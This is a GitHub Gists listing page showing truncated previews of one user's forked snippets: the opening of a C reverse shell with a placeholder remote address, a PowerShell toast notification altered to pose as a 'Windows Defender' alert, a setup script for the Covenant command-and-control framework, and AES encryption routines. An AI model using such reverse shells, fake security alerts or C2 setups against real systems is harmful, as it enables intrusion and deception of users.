Skip to content

Instantly share code, notes, and snippets.

@Kyle-Jeynes
Kyle-Jeynes / reverse_shell.c
Created Feb 1, 2022 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
View reverse_shell.c
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
@Kyle-Jeynes
Kyle-Jeynes / ToastNotification_Windows10.ps1
Last active Dec 11, 2021 — forked from altrive/ToastNotification_Windows10.ps1
Windows 10 toast notification sample
View ToastNotification_Windows10.ps1
function helper() {
Param ([String]$custom = "Defender successfully took actions found running inside of Discord.",[String]$title = "Windows Defender")
$ErrorActionPreference = "Stop"
$notificationTitle = $custom
[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] > $null
$template = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent([Windows.UI.Notifications.ToastTemplateType]::ToastText01)
@Kyle-Jeynes
Kyle-Jeynes / install-and-run-covenant.sh
Last active Dec 8, 2021 — forked from cfalta/install-and-run-covenant.sh
install and run covenant on ubuntu
View install-and-run-covenant.sh
#!/bin/bash
# https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu#2110-
wget https://packages.microsoft.com/config/ubuntu/21.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
dpkg -i packages-microsoft-prod.deb
apt update
apt install -y apt-transport-https
apt install -y dotnet-sdk-6.0
@Kyle-Jeynes
Kyle-Jeynes / PoSh_OpenSSL_AES
Created Aug 18, 2021 — forked from Darryl-G/PoSh_OpenSSL_AES
Powershell Basic Routines for Encrypt and Decrypt AES 256 CBC using OpenSSL EVP
View PoSh_OpenSSL_AES
#PowerShell to create an gibberishaes(and openssl) compatible aes string with salt
#Salted__8bitsalt/aesstring
#thanks for .netcode -> http://stackoverflow.com/questions/5452422/openssl-using-only-net-classes
#
# This outputs the same ciphertext as: echo -n "SomePlainText"|/usr/bin/openssl enc -A -e -aes-256-cbc -a -pass pass:ThePassword
# For decrypt: echo "[cipherText]"|/usr/bin/openssl base64 -d|/usr/bin/openssl enc -A -d -aes-256-cbc -pass pass:ThePassword
function OpenSSLEncrypt($passphrase, $plainText)
{
# generate salt